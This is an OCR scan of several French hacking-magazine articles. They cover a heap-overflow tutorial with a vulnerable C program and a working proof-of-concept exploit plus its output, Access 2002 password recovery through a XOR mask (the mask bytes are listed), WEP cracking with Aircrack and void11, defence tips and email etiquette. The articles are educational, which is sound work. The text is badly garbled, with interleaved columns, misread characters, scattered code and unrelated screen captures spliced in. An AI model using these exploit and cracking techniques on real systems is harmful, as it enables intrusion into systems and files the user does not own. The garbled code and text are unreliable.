et cliquer sur votre bookmarklet. En haut
de la fenétre gqui s'ouvre, vous devriez
voir un menu déroulant nommé Select a
TrackBack entry to ping:. Le menu con-
tient une liste de tous les articles com-
patibles TrackBack. Si le menu apparait,
cela signifie que votre bookmarklet fonc-
tionne et que vous étes prét a utiliser la
fonction TrackBack. Si quelque chose ne
va pas, conirolez parfaitement chaque
élément. Une fois que vous avez tout
controlé, essayez de faire un =

test en lancant
mtcheck.
Cyi, afin de
veérifier que
LWP::Use-
rAgent est
bien instal-
lé. Ce module
est en effet indi-
spensable pour &
['utilisation de la
fonction TrackBack.

Dans un prochain
article, nous nous inté-
resserons au format des
pings Track-
Back de Mova-
ble Type.



erreurs de pjogrammation les
plus fréqueriies, peuvent tou-
cher toutes les plateformes. Le
“terme “débordement” (overflow)
asis est trés souvent utilisé de fagon
erronée pour parler des débordements
de tampon dans la pile (stack-based

_buffer overflow), qui surviennent dans

la zone de la pile et qui représentent le
pire danger: trés souvent, I'erreur peut
étre exploitée afin d'exécuter un code
arbitraire. Toutefois, il existe de nom-
breux autres types de débordement,
apparemment moins dangereux gu'un
débordement de tampon. On trouve
notamment les débordements d’entier
(integer overflow) et les débordements
de tas (heap overflow), dont nous allons
vous parler dans cet article.

Une précision: les tests, le code et les
PoC exploits présentés dans cet article
sont écrits en langage C et compilés avec
GCC 3.3.4 pour GNU/Linux kernel 2.6.7-

1-686; le code mentionné utilise syscall

UNIX et, plus souvent, les instructions

- x86, ce qui fait qu'une partie du code ne
- fonctionnera pas sur une architecture non

X86 ni sur un systeme autre que UNIX.

La pile (stack) et le tas
(heap)

Dane la zone de la pile, les données
sont écrites “en sens inverse”: les
adresses de mémoire les plus hautes
sont en fait les plus basses, et vice-
versa. La pile commence a partir de
Oxbfffftff et continue vers des adres-
ses de plus en plus basses. Plus t6t
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s débordelgents, glii sont les

est allouée une variable sur la pile,
plus grande est la valeur de I'adres-
se sur laquelle pointe la variable.
Dans le tas en revanche, les variables
sont d’abord déclarées comme des
pointeurs, et sont ensuite allouées

a I'aide de la fonction malloc(), qui

retourne un void* (c’est-a-dire un
pointeur générique, et non un poin-
teur vide, comme on pourrait le pen-

ser) et demande comme argument

le nombre de bytes a réserver. Dans
le tas, a la différence de la pile, les

adresses de mémoire augmentent

au fur et a mesure que s'ajoutent de
nouvelles variables.

Voyons deux petits progfammes en

Dans la pile, les adresses de
meémoire hautes sont a la base de

de memoire basses
sont au sommet de la pile.




fprintf(fd, “%s”, a);
Ecrasement fooselfd,

Il est donc possible d'écraser un
tampon a partir d'un tampon alloué
au préalable, tandis que le contrai- perror{b);
re n'est pas possibie (alors que exit(ERIT_FAILURE);
c’est possible avec Ia pile). Lexé-

cution d'un code arbitraire n'est pas

simple a réaliser comme dans le cas

des débordements de pile; toutefois, il ~ BESEH =S LTRSS 25T DTG
est possible d'effectuer des attaques ~ ERAT AR R : eB W E31HT1) R L)
ST GE T @S 7nl gl @=lico i funciion main’s: warning: the “gets’
(attaque par des liens symboliques ; function is dangerous and should not
voir encadré). Voyons un logiciel vul-  BritSE
nérable et I'exploit correspondant, afin

de mieux rendre le concept. 8 3./heapuuinl

b £at heapouinl.c @ Dammi una stringa da scrivere in /
tmp/vuln: Ciao
/* Scrivo Ciao su /tmp/puin

* heapuuinl.c

*/ $ cat /tmp/vuln
#include <stdio.h> Ciao

#include <stdlib.h>

#include <string.> ~ Nous allons recevoir un message du
compilateur, nous avertissant que nous
: int main(int arge, char** argu) utilisons une fonction vulnérable (gets).
Dans le tas, les adresses de Nous allons donc justement exploiter cette
mémoire basses sont 3 la base s e s s evd B i = fonction pour réaliser une attaque. Par
du tas: loc(32); exemple, si le fichier imp/vuln “n’était pas
//heapl.c iffarge<2) a notre goQt”, nous pourrions le remplacer
#include <stdlib.h> par un autre nom de fichier plus “agréable”
main() gl idF-03 A3 ;-). Voici la procédure & suivre:
{ stringa\n”, arguiol); - insérer la chaine de caractére dans le
char *a = malloc(16), *b = exit(ERIT_FRILURE); fichier (elle doit faire <= 32 caractéres,
;mllnc(lﬁ), *¢ = malloc(16);

} sinon la partie dépassant 32 provo-
strepy(h, “/tmp/vuln®); quera un débordement du tampon, et
strepy(a, argui 11); I'on n‘obtiendra pas I'effet désiré);
Tandis gue les adresses de mémoire printf(“Scriva 7%s su %Zs\n”, a, - écrire (32-strlen(chaine_insérée))
~ hautes sont au sommet du tas bytes non nuls sur la chaine; :
char *a (16 byte) FILE *fd = fopen(b, “w"”); - écrire le nom du fichier. Voici un
char *b (16 byte) if(fd = NULL) exploit possible pour le programme
char *c (16 byte) { vulnérable:

"(p15] { www.hackermag.com




Nous avons atteint le but fixé; dif-
férentes preuves ont été nécessaires,
car il n’est pas possible de calculer
exactement la distance entre deux
tampons dans le tas, mais nous y
sommes parvenus presque aussitot.

Usage: ./exp1 string filename [puln-
progl [hufsize]

$ cat heapenpl.c

/*

* heapexpl.c

7/

#include <stdin.i>

#include <stdlib.>

#include <string.h>

#define BUFSIZE 32

#gefine UULN “./heapuuint”

$ ./heapenp] Ciao /tmp/asdasd ./
heapuulni 32

Scrivn Ciao
ARAAAARARRARRARARARARRARRARasH
su asd

Conclusion

Il faut *toujours™ faire irés atien-
tion en utilisant le tas; souvent,
les tampons alloués sur la pile se
“blindent”, mais la zone du tas est
laissée complétement sans pro-
tection; la vulnérabilité que nous
vous avons présentée ici n’est telle
a permettre I'exécution directe de
code distant, mais il existe des
erreurs liées au tas qui le permet-
tent ...

$ ./eupl Ciao /tmp/asdasd ./
int main(int argc, char** argu) heapuuinl 37
{ Scriva Ciao
iffargc< 3) ARRARARARARARAARARRARARARARARARR
{ AA/tmp/asdasd su p/asdasd
printf(“Usage: %s

No such file or directory
string filename [pulnprog] [bufsize]\
n”, argul0]);

$ ./eupl Ciao /tmp/asdasd ./
exit(EXIT_FAILURE); heapuuinl 40
} Scriva Ciao
char *string = malloc(1024), AARARRARARARARRARARRRARRARARAA
malloc(1024); RARAR/imp/asdasd su /tmp/asdasd
strncpy(string, argul1l,

*file=

a-3me’88
ruista.org

1024); $ cat /tmp/asdasd

Ciao
RARAARARRARRRARARARRARRRARARAR
ARRAR/ trrp/asdasd

5

strncpy(file, argul2], 1024); eme.alis
char *vuln = malloc(1024);
if(arge>=4)
strncpy(vuln,
argul3], 1024);

else

hitp://enuir

T HES S Y SN

strncpy(vuln, DULN,

GEML - Fress Cart ShEto
= e e AR N 3"25\

1024);

i Walt a while please, it could take X
I several minutes to load SLaX. i

int siz = arge >= 5 7 [N G

atoi(argul4]) : BUFSIZE : b
char bigl655361;
inti;

i You can affect the system by passing |
i 1 special parameters to the kernel now. 1
1 Linux Live based on Slackware { _ Type “slax" followed by onc or more
i I parameters asz shown below, or just
\—-—-—~—»A—wf——-»—n“--—» s==m—=-=/ press Enter to skip this boot prompt, I

if(strien{string) > siz)
{

printf(“string must
be shorter than 7Zd\n”, siz);
exit(ERIT_FAILURE);
}

for(i = 0; (i < strien(string))
& (i< 65536); i++)
biglil = stringlil;
bigli++] = Outla;
for(; (i < siz) && (i < 65536);

i++)
biglil = 0u41;
for(; (i < siz + strien(file)) &
(i< 65536); i++)
biglil = filefi - siz};
bigl++il = OxD; // NUL termi-
nating byte
execl(vuln, vuln, big, 040);
return i

}

$ cc heapespl.c -o heapesp1
} ./heapexpl
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l slax langade ......... to nse lang-specific files for KDE (csideifript BR)
i slax debug=bash _..... to start Linux shell scveral times during the bdoot

I slax copyZram=all ,... to copy all files to RAR C(only if you have enought)
I slax e ject to force cdrom ejecting (wseonly with copyZram=alll

I

I slax noinrk .......... to disable CD locking (dangerous, uwse with caution) |

i

i slax wohotplug i nopemcia |

I slax hdcide-zesi ... to enable CD burning for drive hdc (sccadry. master)
slax copyZram=all nwocopyZram=bin,use ... don’i copy bin.img & usr, imy 2RAM

nousb ... ta disable some probing for hardware

boot: slax lang= n

to change password to mypass. Use "ask" to be asked |

e

5 o
{ roctsais )4 1385ts )t 172U = )
(s 1 il L1 ben 4 -cdros ilaxl 150
jacning: coute not nveﬂ tdevinet/tun: no virtual netw rk eaulation
ENU 0.56.0 mnomater - type ‘help' for more informat

o t#gaiss ):( arpts 1A 37 s )
€ 4 =lor ) qero -boot @ -cdrom s\n ise
arning: cedld et open /dey/net/tun: N0 virtual network emulatisn
€M 0.6, o aomitor + type ‘help’ for sore infermatzion
aeau) [}

 de remplacer et d’executer des flchlers executables sur

E&a@

attaque Symlink est un type spemﬁque de piratage
qui se produit en exploitant un lien symbolique
vers un autre fichier. Il permet notamment de placer,

la machine.




bbus avez un PC connecté en
permanence a Internet avec
#Windows, Outlook Express et
Internet Explorer ? Si tout va
bien, vous avez une demi-heure
avant de subir une aftaque infor-
matique provenant de I'extérieur.
Pour vous défendre, vous avez a votre
disposition des armes en tout genre. En
voici quelgues-unes.

ShieldsUp (http://grc.com/x/
ne.dii?bh0bkyd2) - C'est I'adresse du
site & consulter pour tout savoir sur la
sécurité de votre ordinateur et du LAN.

HackerWhacker (http://delta.hacke-
rwhacker.com/index.php) - A partir de
ce site, vous pouvez contréler NetBios,
les ports ouverts TCP et UDP, la vulnéra-
bilité du serveur web et méme la perte
de paquets.

it.sec (http://www.it-sec.defvuichke.
himl) - Cette série de contrbles est
plutét longue... et sans pitié. S'il trouve
quelque chose qui ne va pas, mieux vaut
savoir de quoi il s’agit.

2 Llnternet

Storm Center mesure

le temps nécessai-

re pour qu’un PC,
disposant d’une installation de série et
d’une connexion Internet, subisse une
attague. Vous pouvez consulter les
résultats sur htip://isc.sans.org/sur-
vivalhistory.php. Dans certains cas,
compter une demi-heure, c'est étre

w blus guoptimiste...

**_- ECLID B EE———————= R ()=

i
e ptov TeSTLE (uensmeilngs
Cuemhance IS4 tisiad Jamary 16 0 10
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System information

Les ports écran sont des programmes
a installer, plus simples qu’un firewall, qui
ont peu ou aucune fonction pour arréter
une attaque et se contentent d’analy-
ser le trafic sur les ports. Les meilleurs
programmes parviennent également &
bloquer un scan non autorisé des ports
depuis I'extérieur.

NukeNabber (http:// www.major-
geeks.com/download607.html, gra-
tuit) — Il s'autoconfigure pour surveil-
ler les ports les plus vulnérables sur
Internet. Dans certains cas, il permet
de tracer lauteur d’une attaque en
cherchant son nickname sur IRC.

UnHackMe (hitp://greatis.com/, 19,95
dollars) — Ce programme localise et
supprime les trojan rootkit, qui échap-
pent au contréle des antivirus normaux
dans la mesure ou leurs fichiers sont
compressés et cryptés.

The Cleaner Professional (htip://

www.moosoft.com/, 49,95 dollars)

- Un systéme de programmes qui

controle Pactivité de votre ordina-

teur et intercepte un virus (ou autre)

en action avant qu'il ne fasse des
dégats.

NEWRBIE

el garfois, méme

e web suffit !

Le personal firewall constitue une
barriére qui contréle I'activité de
réseau et empéche I'utilisation non
autorisée des ressources du systéme.

ZoneAlarm (http:/fwww.zonelabs. com)
- Dans l'absolu, notre préféré ! Il est gratuit
pour un usage personnel, contient toutes
les protections possibles et fonctionne bien
sans perturber les autres programmes.

TINYFirewall (http://www.tinysoftware.
com) - La protection de I'ordinateur est
totale et ce, a différents niveaux ; il permet
d'annuler les changements effectués par
les programmes quant a la configuration
de lordinateur.

BlackICE PC Protection (http:/fwww.iss.
com) - |l protége contre les vols d'identite, les
attaques informatiques, les crashs systeme. ..
Parfois trop envahissant, il s'agit dans tous
les cas d'un excellent outil de protection.

Equipés des meilleurs programmes et
des bonnes ressources web, vous pour-
rez vous aventurer sur Internet en toute
sécurité. N'oubliez pas que contre I'impru-
dence, il n'y a pas de protection qui vaiile !

Nyariathotep
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) BGPIE sur son ordinatear
comme sur son teléphone portable!

Voici les ragles  suivre Si vous voulez éire
estime ef respegle
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n hacker qui va a la chasse

de connaissance mais qui ne

sait pas comment la partager

ensuite, c’est un faux hacker!

Un vrai trafiquant de savoir doit

s’exprimer de facon claire, net-
te et précise. Et ce n'est pas un précepte
démodé : chague moyen de communi-
cation posséde son propre langage. Le
langage utilisé dans les journaux n'est
pas celui que nous utilisons dans une
salle de sport. Et cela vaut également
pour le mode d’écriture: on n’écrit pas sur
un téléphone mobile comme on écrit sur
un ordinateur, et encore moins comme
on parle ... bref, voici nos suggestions.
Et celui qui n'est pas d'accord est un
1am3ron3!

1) UNTEXTE ECRIT EN MAJUSCULE
DONNE L'IMPRESSION QUE VOUS
CRIEZ. C’est tres désagréable! D'ail-
leurs, sachez que certaines personnes
filtrent les courriels écrits en majuscule,
et les jettent sans les lire.

2) Les courriels au format HTML sont
des courriels de lamer! Le courrier
HTML est 'une des pires inventions au
monde. Il gaspille inutilement la bande
passante, et il est une porte ouverte aux
virus et aux trojans les plus sournois. |l
est donc impératif d’envoyer des mes-
sages au format texte, que vous pouvez
également personnaliser:

- AU LIEU D'ECRIRE EN CARACTERES
GRAS, METTEZ DEUX ASTERISQUES.
CELA MET *VRAIMENT"* LE MOT EN
RELIEF ;

- AU LIEU DE SOULIGNER LES MOTS,
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{bin/bash (ttyp2)

LA M@ECINE ?@aja
OUTLOOK EXPRESS |

utlook Express est incapahle de gérer correcte-

ment les citations et les signatures. DE-Ouo-
teFix. que vous trouverez a I'adresse http://home.

& in.tum.de/~jain/software/oe-quotefix/, met les choses
au point et améliore son fonctionnement. Ce petit
logiciel est gratuit, I’'essayer ne cofite rien ...
également pour Outlook http://home.in.tum.de/~jain/

{ software/outlook-guotefix/)

UTILISEZ DEUX _TIRETS BAS_ C'EST
TRES_ PRATIQUE_;

-VOUS YOULEZ ECRIRE EN ITALIQUE?
DEUX /BARRES OBLIQUES/ FERONT
LAFFAIRE /ET VOILAY.

3) Apprenons a utiliser correcte-
ment les enfilades (threads)! Et ¢a
/persenne/, euh, personne ne sait
ie faire. Si vous répondez a un mes-
sage en changeant uniguement ['objet,
vous ne changez pas le thread initial! Les
programmes respectant les standards
Internet gérent les enfilades en se basant
sur le contenu des en-tétes : Message-
ID, In-Reply-To et References. Changer
Iobjet ne change pas le thread, et le nou-
veau message sera incontournablement
range dans I'enfilade d'origine, méme
s'il traite désormais un sujet différent. Ce
phénomeéne s'appelle le détournement
de thread (thread hijacking) et se révele
tres désagréable pour les personnes qui
tiennent leur messagerie en ordre. Pour
commencer une nouvelle enfilade, vous
devez créer un nouveau message.

4) Qubliez le postage croisé
(crossposting). Le postage croisé
consiste a envoyer le méme message

simultanément & plusieurs groupes de

discussion ou listes de destinataires. Il
est utilisé en général par des casse-pie-
ds, gui souhaitent poser une question
stupide ou sans interét et qui veulent

o do 1ot Wish 20 be livoed, or i you want & make
o /deletiors/corrections ta the informakion peovided, pinase Feel
free w omail me dirsctly,

| We wish you continusd success with your website!

| <homl xmbs = un chmmas-icreaft-com ami” aminsia="um achemas-micrasof -
\ com office uffice” amins iwe="urn schemas-microsoft-comoffics wocd” wmine="nttp.//|
e w3 ang/TRARECHLmIM0™ >

v =Contert-Type content="dext/hbmni; charset =iso-8699-1" >
| Doauen

| <meta e et

étre slrs d'obtenir une réponse. En fait,
la meilleure chose serait d'attendre au
moins quelques jours; et, si possible,
d'indiguer [postage croisé] en objet du
courriel. Comme ca, on est prévenu.

Attention a la prochaine section, il
va se passer quelque chose.

Les lamers se comportent comme cela
tout simplement parce que certains
logiciels, comme Outlook Express,
ont commenceé avant eux. Résultat : on
a l'impression que c'est leur logiciel qui
commande, et gu'ils ne sont pas capables
de faire un clic tout seul.

5) La citation vient aprés. Lorsqu’'on
répend & un message, il faut placer sa
réponse sous le message précédent,
et non pas au-dessus. Parce qu'en
francais, la lecture se fait de haut en
bas, donc les informations les plus
anciennes doivent étre au début du
courriel, et non pas a la fin. D’ailleurs,
quand le message initial est a la fin, on
ne comprend plus rien ! La citation doit

il existe

p

6) Pendant que nous y sommes, écou-
ez ca : lorsque vous citez, il vaut mieux
couper l'original pour ne garder que les
éléments importants. C'est trés désagréa-
ble de recevoir un coutrriel avec une citation
de cinquante lignes, que I'on a peut-étre
méme déja lue, et une réponse de deux
lignes. Ne soyez pas paresseux : c'est du
plus mauvais effet.

7) Signez avec le symbole “tiret
tiret espace” (sigdash) . Selon les
regles de Usenet et de message-
rie, la signature doit commencer par
le sigdash, c’est-a-dire “deux tirets, un
espace, retour a la ligne”, c'est-a-dire
“—“_En ouire, la signature doit faire au
maximum quatre ou cing lignes. Bien
slr, si elle en fait six, ce n'est pas dra-
matique ; mais apres une certaine lon-
gueur, cela devient pénible. D’ailleurs, des
logiciels comme Outlook ne sont pas trés
forts dans la gestion des signatures. Il vaut

LE CLIENT LE PLUS
SVELTE Au WONDE

Pme (hitp://www.washington. edu/pme/) est
un programme de courrier électronique uni-
quement au format texte, développé par I'univer-
sité de Washmgton pour Wmdows et Umx

'Fi:ﬁtb-hxhﬂ»b
Allfat’

mieux utiliser Thunderbird. Ou bien metire les
choses au point.

Iy a encore beaucoup de choses a dire, mais
les messages aussi doivent avoir la bonne
longueur. Voila ce qu’on va faire; essayons

= Sal
etre am-e_s 2 2 Roply 3 - urittequestawd.org

Momsage [FB] | mvachmente 7] | Specid 9]

DANS LES GRIFFES DES |:=r

LAMERS

" Cofrmsadrg |V Coyeedl T Epowet.. =

T Corfrmgdebvmy 1 Lient ™ Rohiet

JAWS (http://www.nanopac.com/JAWS him) est un
excellent programme pour Windows, qui lita voit haute
les documents pour les personnes ayant des problémes de
vue. Tout message ne respectant pas les régles de citation
augmente les difficultés de lecture pour les non voyants.

A retenir.

——— tous de comprendre ol sont
EER T
_EE8 hos erreurs, afin d’adopter un
comportement plus correct.
OK? =)

_________ _ Et si quelgu’un a une objec-

tion... priére de lire la RFC 1855
(hitp:/www.dicc.edu/cs/fc1855.
html#3).

Barg the Gnoll
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ous disposons d’'une base
de données créée avec
Access 2002 et protégée
par mot de passe. Chaque
fois que nous essayons de
F'ouvrir, il y a une fenétre
qui apparait et qui nous demande de
le rappeler.

Probleme, aujourd’hui nous I'avons
perdu et on s’en souvient plus. Donc
on a décidé pour résoudre ce proble-
me de créer un systéme de récupéra-
tion des mots de passe.

Il est préférable pour effectuer nos
essais de créer une base de don-
nées ires simple, ou quasiment
vide. Ouvrons Access et créons-en
une sans faire de tableaux, nommée
par défaut db1 et refermons Access.
Avant de poursuivre, copions le fichier

(p20)_[www.hackermag.com ]
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db1 avec les options de Windows
Explorer en effectuant un copier/ col-
ler sur le bureau. Lon obtient donc un
fichier nommé Copie de db1.

A présent, ouvrons a nouveau
Access et recherchons le fichier
db1 en effectuant Fichier > Ouvrir.
Le sélectionner et 'ouvrir avec I'op-
tion Ouvrir Exclusive a l’aide de la
fieche de {a touche Ouvrir.

e G Deh Y Amre O b

e <)

Ensuite choisissons le mot de passe
en effectuant Outils > Protection >
Choix du mot de passe de la base de
données...

Préférons pour établir le mot de passe
d’'essai, une suite courte et simple,
choisie parmi des caracteres A maju-
scules.

On nous demandera de I'écrire deux
fois. Nous avons ainsi une base de
données db1 protégée par mot de
passe qui nous sera deman-
dée chaque fois que nous
essaierons de l'ouvrir et Copie
de db1 qui est la méme base
de données mais sans la pro-
tection du mot de passe.

Il nous faut donc a présent un
logiciel capable de comparer
les octets de chaque fichier
et de détecter les différen-
ces éventuelles, c’est que I'on
appelle dans le jargon le « dif-
fing » entre deux fichiers. C'est
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encore mieux si ce logiciel est également
un éditeur hexadécimal.

Privilégions un shareware, car son prix
apres période d’essai ne sera pas trés
excessif. Notre choix s’est porté sur
HexCmp2, a la fois comparateur et
éditeur, disposant d'un graphisme pra-
tique a utiliser en mode plein écran
et trés bien intégré également dans
Windows XP. Il est téléchargeable a
Fadresse
hitp://www.fairdell.com/hexcmpy.

GHex Obec 10t OBin OQwed ODwod (DWoid  {S1Byis
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Faisons glisser les deux fichiers
préparés, db1 et Copie de db1, sur
licone de HexCmp2. Une double fenétre
apparait. Nous remarquons immédia-
tement les différences entre les deux
fichiers parce qu'elles sont surlignées
en rose et surtout la présence de 3
octets alternés. Celles-ci pourraient
étre en quelgue sorte nos trois lettres
camauflées ?

Notons I'adresse offset du premier
octet : 00000042 (00000040 sur l'or-
donnée et 02 sur I'abscisse).

Fermons tout et réouvions avec I'op-
tion d'Access « Ouverture exclusive »
le fichier db1 en répétant la procédure
initiale pour établir un nouveau mot de
passe, différent du précédent, et d'une
longueur disons de 4 caractéres. Sau-
vegardons et ouvrons a nouveau les
deux fichiers db1 et Copie de dbl, avec
HexCmp?2. Il est probable que nous tou-
chions au but ! les différences entre les
deux fichiers nous sont continuellement
signalées a I'adresse 00000042, et cette
fois-ci les octets surlignés en rose sont
au nombre de 4, exactement la longueur
du nouveau mot de passe.

Nous avons presque trouvé Pendroit ou
le mot de passe est mémorisé. Il ne nous

reste plus qu'a savoir comment et pour
quelle raison a premiére vue les valeurs
hexadécimales mis en évidence par
HexCmp2 sont tout 2 fait casuelles.

Et pourtant ils ont dil sGrement utiliser
une méthode de camouflage.
Examinons de plus prét le premier
cas (exemple) que nous avons
essayé qui est le plus simple car
le mot de passe était composé par
trois A majuscules.

Dans le premier emplacement différent
des deux fichiers, on trouve d’une part la
valeur hexadécimale BF, d’autre part la
valeur hexadécimale FE. Quelle opéra-
tion peut transformer la valeur BF en FE,
en sachant que I'équivalent hexadécimal
de la letire A majuscule est 41 (on peut
le lire sur n'importe quel tableau Ascii,
indiguant les équivalents hexadécimaux
des caractéres) 7

Pour guelle raison dans les autres
emplacements les valeurs sont différen-
tes (AD, EC et 25,64) méme si la lettre
utilisée est la méme ?

Supposons gu’il s’agisse d'une opéra-
tion pas tres compliquée, mais méme
pas une opération arithmétique, sinon
on prendrait le risque d’avoir des
reports ou des complications inutiles
etil ne nous semble pas gue Microsoft
ait protégé Access correctement. ..
Essayons d'écrire toutes les données
que nous avons, en binaire :

BF 18111111 '
FE 1111110

En observant avec attention les colon-
nes, nous remarquons que la valeur
de BF et FE est 41 4 un niveau 1 ou O
prés, constituant une fonction logique
OU exclusif (XOR) dont la table de
vérité est la suivante :

En observant avec attention les
colonnes, nous remarguons que la

valeur de BF et FE est 41 a un niveau
1 ou O pres, constituant une fonction
logique OU exclusif (XOR) dont la
table de vérité est la suivante ;

Essayons d’appliquer la méme cho-
se a la deuxiéme paire de données
hexadécimales gue nous lisons dans
HexCmp2: AD et EC.

10101181

nonoo

En faisant 'opération XOR entre les
deux, nous obtenons le résultat suivant :

01000001 :

Exactement le méme gu’avant, c'est
le chiffre hexadécimal 41, c’est-a-dire
le caractére A de la table Ascii. Nous
y sommes, nous avons découvert
le codage qu'ils ont utilisé. Chaque
valeur hexadécimale correspondant
a chaque caractére de notre mot de
passe est mémorisée, dans Access,
en créant '’XOR avec la valeur pré-
sente & ce moment la a la méme
adresse.

Nos données sont sauvées : nous
avons récupéré le mot de passe que
nous avions oublié. Evidemment nous
ne souhaitions pas faire sauter des
protections spéciales sur des fichiers
ne nous appartenant pas, ni méme
decouvrir les secrets des program-
mes Microsoft, car la simplicité de
leurs protections est telle que c'est
un secret de polichinelle. Le présent
article n’a qu’un but exclusivement
didactique aux risques et perils de
ces utilisateurs et surtout ne le prenez
pas mal.

PASSE
UTILISE?

D7,BF - 8D,EC - 07,64 - F7,9C - 9A,FF
- bA,28 - 40,2A - E5,8A - 18,6D - 09,7B
- A2,CC - BE,DF - 22 4E

. (p21) (www.hackermap.com)
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18S connexions
sans fil constituent
[oujours un risque,
Comme |'a régem-
ment demontre

Ie fBI. Partons

412 deconverte
es taghmigues
i ‘attaque ef des

I

astuees de defeflse

ors de la renconire sur la l*
sécurité, qui a eu lieu récem- g
ment a Los Angeles, une équi- &
pe du FBI a réussi a infilirer un
réseau sans fil protégé par une
‘ clé WEP 128 bits, en trois minu-
2s environ.
‘andis gu'un agent utilisait un ordinateur
ortable et une connexion sans fil pour la
résentation, un autre agent, qui n'a pas

| Le protocole WEP est un systeme de

cryptage qui emploie une ligne de bits

pour saboter le flux de donneées, afin

d'en rendre le contenu incompréhen-

sible. L'émetteur et le récepteur doivent

connaitre la clé de chiffrement, normale-

el "_ ment d'une longueur de 64 ou 128 bits.

_— &8 Une partie de la clé est constituée dun

numeéro a 24 bits, généré plus ou moins

protocole de cryptage @ au hasard, appelé vecteur dinitialisation.

jouhaité étre photographié ni donnerson  WEP. Et hop, il est entré dans le réseau ' Ce qui nous donne donc une clé effective
om, reniffait le trafic sans fil et attaquaitle ~ comme dans du beurre. de 40 bits pour une longueur de 64 bits, et

[p22)_[www.hackermag.com)
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de 104 pour une longueur de 128

bits.

Le vecteur dinitialisation est placé au début
du flux de données transmis, en une sim-
ple ligne de texte envoyée en clair sur le
réseau.

Comment fait un attaquant pour infiltrer
la connexion entre un point d'acceés (a
plus forte raison s'il's'agit d'un point d'acces
public comme un hotspot) et notre ordina-
teur? Certes, ce n'est pas simple ; mais
avec un peu d'expérience et quelques outils
récents, cela peut aller tres vite, comme
nous l'ont démontré les deux agents du
FBI. lls s'agit généralement d'outils créés
pour Linux, qu'il est facile de faire tourner
sur Windows en se procurant un LiveCD
tel que Knoppix, si vous ne voulez vraiment
pas passer a Linux: Toutefois, il esttoujours
judicieux de controler les versions, étant
donné que certains programmateurs ont
également mis en réseau des portages
pour Windows.

Une fois que notre attaquant a identifié le
réseau avec des sniffeurs' passifs comme
Kismet (www.kismetwireless.net) ou Air-
snort (hitp:/airsnort.shmoo.comy/), il peut,
pour ne pas attendre trop longtemps avant
de recueillir une quantité suffi-

‘ a vos flchlers Ies plus "brulants
avant que quelqu'un ne vienne vous Ies
enlever... a vol d'oiseau.

Vous cherchez un outil efficace, s(r, libre et
intégré dans Windows explorer? Adoptez
AxCrypt, que vous trouverez a |'adresse

_ http://axcrypt.sourceforge.net/

-

sante de paquets a analyser, utiliser un ouil
incroyablement puissant et moderne tel
que Aircrack, méme a partir de Windows,
(www.cr0.net:8040/ code/network/). En
effet, cetoutil est capable de faire une
analyse statistique comprenant les vec-
teurs d'initialisation, afin
de récupérer la clé WEP
en un temps record, si le
trafic réseau est suffisant.
Et si le trafic est trop fai-
ble? La aussi, notre atta-
quant peut feinter, en uti-
lisant soit une boucle
ping qui sollicite une
réponse de la part du
point d'accés, soit, et
c'est plus probable, un
outil trés efficace com- |
me voidii
(www.wisec.netivoid11),
qui bouche la réception d'un flux
de données en simulant des déconnexions
permanentes entre notre ordinateur et le
point d'acces en guestion. Bien s(r, a ce
moment-1a, on risque de flairer l'attaque a
cause des déconnexions répétées. Une
borne d'accés comme |'Apple Extreme Air-
port (tres repandue méme parmi les
réseaux Windows, car elle est compatible
avec le standard wi-fi en tant que tel) entre
méme carrément dans un sommeil profond
au bout de quinze minutes de flux de tra-
fic d'environ soixante secondes. Mais
quand on en arrive 13, il est quasiment sar
que l'attaquant s'est déja emparé de notre
clé Wep.

Comment metire en place
un systeme de defense

Ceries, cela reste moins dangereux d'u-
tiliser un ordinateur public relié au

» @@
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réseau sans fil que de retirer de l'argent
2 un bancomat en pleine nuit, ou méme
de payer le restaurant avec sa carte de cre
dit. Toutefois, il n'est pas inutile de prendre
quelques précautions. ‘
1) Toujours modifier les parametres de
fabrication
La borne d'acces nous a été vendue avec
des paramétres par défaut, qui sont les
mémes pour toutes les bornes d'acces de
la méme marque. La premiere chose a fal
re pour éloigner les hétes malintentionné|
sera donc de les modifier. Il s'agit notam|
ment du SSID, du canal et du mot de pas
se administrateur.

2) Utiliser le cryptage WPA plutot que
WEP
WPA est un systéme de cryptage plus sl
que WEP, méme si sa version commercia
le présente elle'aussi un point faible: ellg
est basée surun mécanisme requérant ung
ligne alphanumérigue spécifiée pa
lutilisateur. Si cette ligne existd
dans un guelcongue dic
tionnaire, une simple atta
gue par dictionnaire pe
metira de l'obtenir. I fau
donc utiliser des séquencef
totalement imprebables.

3) Metire constamment
jour le firmware,

Les fabricants de pomt4
d'acces mettent parfois 4 jou
le logicieliinterne de la bor
ne, pour la rendre moins vul|
nérable aux attaques de nou
veaux outils, toujours plus puissants
sournois. Si le PA le prevoit, vous pouve;
activer ['option de mise a jour automaticug
des la sortie d'une nouvelle version du fir
ware, oU bien controler régulierement's
vous étes a jour avec la derniere
version.
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CHOSES A

Vous en avez assez d"avoir toujours les mémes

eonseils sur Ia seeurité ? Alors en voici quelques-

uns sur lgs mythes de a seeurite EIIIIIIIIEIS Vous

NE DEVEZ PAS GROIRE !

In24) [ www.hackermag.com) ] §

les degats subis si aucun

ilisr. les risques encourus,

._9' o

~ firewall n’est installé. La vérité, c’est

que les choses doivent étre faites, mais
bien et calmement. Sinon, on obtient
Ieffet inverse. A force de trop vouloir de
sécurité, on.crée des problémes énor-
mes et ce, sans aide de personne !
fotis _'.,-_,:‘-],_- ie
Faltes le contralre de oe que
nous ecrlvons ici et tout ira bien. Si ce
n’est mieux !

1. AVOIR UN PROGRAMME POUR
CHAQUE PROBLEN BRI HES
professionnels avertis tombent dans Ile
panneau. lis pensent qu'a chague proble-
me correspond un produit miracle, comme
les pilules pour le mal de téte. Une fois
le produit acheté, le probleme est résolu.
ERREUR ! Les ordinateurs saisissent uni-
quement un et zéro ; nous, NOUS compre-
nons un, zéro et “niici ni 13" Nous sommes
au minimum 50% plus intelligents gue l'or-
dinateur ! Les tools sont des outils a utiliser,
et non pas des solutions quifontle travail 2
notre place. Acheter un firewall sophistique
ne sert a rien: Ce qui sert, c'est de bien
saveir utilisercelui qu'on a. Et en plus, Zone
Alarm (http Hwww.zone-alarm.com) est

usage personnel. G2

2.PENSER UNIQUEMENT A L'ORDINA-
TEUR ET NON PAS AUX PERSONNES.
Un mot: phishing. La sécurité n'est pas un
probleme technique mais un probléme de
comportement. Une personne intelligente
et dégourdie s'en sort mieux qu'un imbe-
cile plein de firewall. Prenez les bonnes
habitudes (attention aux sites douteux,
aux spam, spyware...) et le probléeme de
la sécurité vous semblera immediatement
beaucoup plus léger.

3.PENSER A LA SECURITE LOR-
SQU'ON EST CONSCIENT D'UN PRO-
=183 E 1l est déja trop tard ! La sécurité
